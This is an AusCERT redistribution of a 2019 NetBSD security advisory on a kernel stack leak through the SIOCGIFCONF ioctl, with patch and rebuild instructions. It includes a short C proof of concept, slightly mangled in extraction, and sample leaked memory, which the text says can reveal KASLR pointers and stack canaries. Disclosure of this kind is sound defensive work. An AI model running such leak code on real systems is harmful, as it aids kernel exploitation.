Hash: SHA256

             AUSCERT External Security Bulletin Redistribution

         Unprivileged user kernel stack disclosure in SIOCGIFCONF
                                6 May 2019


        AusCERT Security Bulletin Summary

Product:           NetBSD kernel
Publisher:         NetBSD
Operating System:  NetBSD
Impact/Access:     Access Privileged Data -- Existing Account
Resolution:        Patch/Upgrade

Original Bulletin: 

- --------------------------BEGIN INCLUDED TEXT--------------------

Hash: SHA1

		 NetBSD Security Advisory 2019-003

Topic:		Unprivileged user kernel stack disclosure in SIOCGIFCONF

Version:	NetBSD-current:		affected prior to April 15, 2019
		NetBSD 8.0:		affected
		NetBSD 7.2:		affected
		NetBSD 7.1.2:		affected
		NetBSD 7.0.2:		affected

Severity:	Local user may cause the kernel to run out of memory

Fixed:		NetBSD-current:		April 15, 2019
		NetBSD-8 branch:	April 19, 2019
		NetBSD-7 branch:	April 19, 2019
		NetBSD-7-2 branch:	April 19, 2019
		NetBSD-7-1 branch:	April 19, 2019
		NetBSD-7-0 branch:	April 19, 2019

Please note that NetBSD releases prior to 7.1 are no longer supported.
It is recommended that all users upgrade to a supported release.


An unprivileged user can leak a huge amount of kernel stack by issuing the
'SIOCGIFCONF' ioctl command.

Technical Details

Kernel stack can be leaked to an unprivileged user at [1], because 'ifr' is
uninitialized and only 'sa->sa_len' are copied to 'ifr.ifr_space'.
The size of 'struct ifreq ifr' is 0x90 bytes and 'sa->sa_len' is usually
0x11 bytes. Hence, upto 0x7f bytes can be leaked.
This can expose sensitive information, pointers to bypass KASLR, stack
canaries which can be used to exploit stack buffer overflows, etc.


#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>

  Sample output:

  77 6D 30 00 00 00 00 00 00 00 00 00 00 00 00 00
  11 12 01 00 06 03 06 00 77 6D 30 08 00 27 56 80
  E1 EF CB 08 81 FE FF FF 00 10 00 00 00 00 00 00
  20 AE 1C 68 00 80 FF FF 00 00 00 00 00 00 00 00
  20 CC 92 1E 01 00 00 00 80 F7 4C 1B 81 FE FF FF
  40 AE 1C 68 03 00 00 00 80 F4 4C 1B 81 FE FF FF
  80 F4 4C 1B 81 FE FF FF 80 F7 4C 1B 81 FE FF FF
  80 F4 4C 1B 81 FE FF FF 10 57 3E 1B 81 FE FF FF
  00 52 C4 1E 81 FE FF FF 00 00 00 00 00 00 00 00

void hexDump(const void *data, size_t size) {
  size_t i;
  for (i = 0; i < size; i++) {
    printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');

int main(int argc, char *argv[]) {
  struct ifconf conf;
  struct ifreq req[1];
  int fd;

  memset(req, 0, sizeof(req));

  fd = socket(AF_INET, SOCK_DGRAM, 0);

  conf.ifc_len = sizeof(req);
  conf.ifc_buf = req;
  ioctl(fd, SIOCGIFCONF, &conf);

  hexDump(req, sizeof(req));

  return 0;

[1] https://github.com/NetBSD/src/blob/trunk/sys/net/if.c#L3378

Solutions and Workarounds

Update the kernel to a fixed version and reboot.

To apply a fixed version from a releng build, fetch a fitting kern-GENERIC.tgz
from nyftp.netbsd.org and extract the fixed binaries:

cd /var/tmp
ftp https://nycdn.NetBSD.org/pub/NetBSD-daily/REL/latest/ARCH/binary/sets/kern-GENERIC.tgz
cd /
tar xzpf /var/tmp/kern-GENERIC.tgz

with the following replacements:
REL   = the release version you are using
ARCH  = your system's architecture

The following instructions describe how to upgrade your kernel by
updating your source tree and rebuilding and installing a new version.

For all NetBSD versions, you need to obtain fixed kernel sources,
rebuild and install the new kernel, and reboot the system.
The fixed source may be obtained from the NetBSD CVS repository.        
The following instructions briefly summarise how to upgrade your        
kernel.  In these instructions, replace:

  ARCH     with your architecture (from uname -m), and                  
  KERNCONF with the name of your kernel configuration file.    

To update from CVS, re-build, and re-install the kernel:

	# cd src
	# cvs update -d -P sys/path/to/file.c
	# ./build.sh kernel=KERNCONF
	# mv /netbsd /netbsd.old
	# cp sys/arch/ARCH/compile/obj/KERNCONF/netbsd /netbsd 
	# shutdown -r now

For more information on how to do this, see:    


Thanks To

Andy Nguyen for discovering and reporting the issue.

More Information

Advisories may be updated as new information becomes available.
The most recent version of this advisory (PGP signed) can be found at 

Information about NetBSD and NetBSD security can be found at
http://www.NetBSD.org/ and http://www.NetBSD.org/Security/ .

Copyright 2019, The NetBSD Foundation, Inc.  All Rights Reserved.
Redistribution permitted only in full, unmodified form.

$NetBSD: NetBSD-SA2019-003.txt.asc,v 1.1 2019/05/03 01:33:37 christos Exp $


- --------------------------END INCLUDED TEXT--------------------

You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.

NOTE: Third Party Rights
This security bulletin is provided as a service to AusCERT's members.  As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content. The decision to follow or act on information or advice
contained in this security bulletin is the responsibility of each user or
organisation, and should be considered in accordance with your organisation's
site policies and procedures. AusCERT takes no responsibility for consequences
which may arise from following or acting on information or advice contained in
this security bulletin.

NOTE: This is only the original release of the security bulletin.  It may
not be updated when updates to the original are made.  If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.

Contact information for the authors of the original document is included
in the Security Bulletin above.  If you have any questions or need further
information, please contact them directly.

Previous advisories and external security bulletins can be retrieved from:


Australian Computer Emergency Response Team
The University of Queensland
Qld 4072

Internet Email: auscert@auscert.org.au
Facsimile:      (07) 3365 7031
Telephone:      (07) 3365 4417 (International: +61 7 3365 4417)
                AusCERT personnel answer during Queensland business hours
                which are GMT+10:00 (AEST).
                On call after hours for member emergencies only.
Comment: http://www.auscert.org.au/render.html?it=1967